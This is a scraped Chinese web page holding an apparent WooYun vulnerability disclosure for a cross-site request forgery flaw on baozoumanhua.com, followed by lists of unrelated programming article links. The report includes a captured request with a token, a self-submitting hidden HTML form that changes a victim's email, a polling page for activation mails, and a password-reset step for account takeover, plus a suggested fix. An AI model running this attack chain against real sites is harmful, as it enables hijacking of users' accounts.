提交地址:http://baozoumanhua.com/users/8311358
提交数据:
-----------------------------195704664324
Content-Disposition: form-data; name="utf8"
a??
-----------------------------195704664324
Content-Disposition: form-data; name="_method"
put
-----------------------------195704664324
Content-Disposition: form-data; name="authenticity_token"
FI+dAl32T5Oh1W5G0LQ4ArOK1t9JQRqoNOLWHaTHEgk=
-----------------------------195704664324
Content-Disposition: form-data; name="user[email]"
aaaxasa1@qq.com
-----------------------------195704664324
Content-Disposition: form-data; name="commit"
?????1é????±

这是有token的

接着我写一个表单
<form id="csrf" action="http://baozoumanhua.com/users/用户id" method="post">
<input type=hidden name="utf8" value="a??">
<input type=hidden name="_method" value="put">
<input type=hidden name="authenticity_token" value="FI+dAl32T5Oh1W5G0LQ4ArOK1t9JQRqoNOLWHaTHEgk=">
<input type=hidden name="user[email]" value="你的邮箱">
<input type=hidden name="commit" value="?????1é????±">
<script>
document.getElementById('csrf').submit(2881064151);
</script>
</form>
再点击发送激活邮件 抓包
GET:http://baozoumanhua.com/my/resend/用户ID

此时我将表单的 email 换成我的有效邮箱

接着打开并且抓包

直接提示修改成功 无视token

可以看到 先get访问了 a.htm 然后再post提交到 暴走漫画

现在邮箱改掉了 只需要 访问http://baozoumanhua.com/my/resend/8311358 就行
至于这个 做个弹窗到新窗口 弹到b.htm b.htm 用js写个每一秒GET访问一次
http://baozoumanhua.com/my/resend/2881064151

这时我被弹到了b.htm, 被弹到b.htm后会很多次get访问http://baozoumanhua.com/my/resend/8311358

接着我就收到了激活邮件

现在被激活了 就可以去http://baozoumanhua.com/fetchpass 发送一个重置密码邮件。
=。= 接着就可以改他的密码了
修复方案:
可以像上次那个漏洞一样 WooYun: 暴走漫画越权发暴漫作品(拿王尼玛帐号测试)利用打赏功能发财致富走上人生巅峰
把token带到 http头部 或者验证一下referer。

把token带到 http头部 或者验证一下referer的更多相关文章

  1. vue拦截器实现统一token,并兼容IE9验证

    项目中使用vue搭建前端页面,并通过axios请求后台api接口,完成数据交互.如果验证口令token写在在每次的接口中,也是个不小的体力活,而且也不灵活.这里分享使用vue自带拦截器,给每次请求的头 ...

  2. Token:服务端身份验证的流行方案【转】

    01- 身份认证 服务端提供资源给客户端,但是某些资源是有条件的.所以服务端要能够识别请求者的身份,然后再判断所请求的资源是否可以给请求者. token是一种身份验证的机制,初始时用户提交账号数据给服 ...

  3. Token:服务端身份验证的流行方案

    01- 身份认证 服务端提供资源给客户端,但是某些资源是有条件的.所以服务端要能够识别请求者的身份,然后再判断所请求的资源是否可以给请求者. token是一种身份验证的机制,初始时用户提交账号数据给服 ...

  4. [PHP] - Laravel - CSRF token禁用方法与排除验证csrf_token的url设置

    laravel5.1排除验证csrf_token的url设置 <?php namespace App\Http\Middleware; use Illuminate\Foundation\Htt ...

  5. java EE : http 协议响应头部信息验证

    一  location :*****   302   重定向  private void doWork(HttpServletRequest req, HttpServletResponse resp ...

  6. CSRF跨站请求伪造与XSS跨域脚本攻击讨论

    今天和朋友讨论网站安全问题,聊到了csrf和xss,刚开始对两者不是神明白,经过查阅与讨论,整理了如下资料,与大家分享. CSRF(Cross-site request forgery):跨站请求伪造 ...

  7. golang学习笔记10 beego api 用jwt验证auth2 token 获取解码信息

    golang学习笔记10 beego api 用jwt验证auth2 token 获取解码信息 Json web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放 ...

  8. ASP.NET Web APIs 基于令牌TOKEN验证的实现(保存到DB的Token)

    http://www.cnblogs.com/niuww/p/5639637.html 保存到DB的Token 基于.Net Framework 4.0 Web API开发(4):ASP.NET We ...

  9. SpringBoot集成JWT实现token验证

    原文:https://www.jianshu.com/p/e88d3f8151db JWT官网: https://jwt.io/ JWT(Java版)的github地址:https://github. ...

随机推荐

  1. Delphi XE 10 DataSnap TCP 与 HTTP 比较

    在网络程序开发过程中,面临TCP  HTTP 的选择上往往让人陷入犹豫不决中,http的灵活和较强的穿透能力是TCP无法与之相提并论的,然而在响应速度和处理能力上却能看出后者比前者足够强大的地方.因此 ...

  2. js,jq,css选择器

    js获取节点: var chils= s.childNodes; //得到s的全部子节点 var par=s.parentNode; //得到s的父节点 var ns=s.nextSbiling; / ...

  3. access基本操作(c#操作,远程连接,执行sql,加密,备份)

    前言 最近项目用到了access,是的就是access,工作在桌面型的小数据库应用还是会用到的,如果你确定永远不会遇到access的操作,请忽略此篇文章 1.vs配置access 既然是数据库,就少不 ...

  4. Android Studio导入项目问题小结

    1. import project 之后一直停留在 building 界面 解决方案: 1.随便找一个你能运行的as项目 2.打开gradle-wrapper.properties,文件目录:项目/g ...

  5. tomcat 远程调试

    1.服务端查看cataline.sh 中的描述  cataline jpda start 开启服务端远程调试 远程调试端口JPDA_ADDRESS="8000" 2.本地代码参考  ...

  6. Kafka基本原理

    简介 Apache Kafka是分布式发布-订阅消息系统.它最初由LinkedIn公司开发,之后成为Apache项目的一部分.Kafka是一种快速.可扩展的.设计内在就是分布式的,分区的和可复制的提交 ...

  7. AutoMapper实现自动CreapMap

    标题是个噱头,完全不写代码自动是不现实的,只是简化了CreateMap.方法也是很粗糙的,看看吧. 我想在使用AutoMapper的时候最恶心的一定是写了一个Profile,里边有n行 Mapper. ...

  8. sql 语句

    INSERT 基本语法:INSERT INTO table_name VALUES(value1,value2,value3,...); 指定列:INSERT INTO table_name(colu ...

  9. 【java.lang.UnsupportedClassVersionError】版本不一致出错

    这种错误的全部报错信息: java.lang.UnsupportedClassVersionError: org/apache/lucene/store/Directory : Unsupported ...

  10. python 处理视频输入输出

    视频的处理和图片的处理类似,只不过视频处理需要连续处理一系列图片. 一般有两种视频源,一种是直接从硬盘加载视频,另一种是获取摄像头视频. 0x00. 本地读取视频 核心函数: cv.CaptureFr ...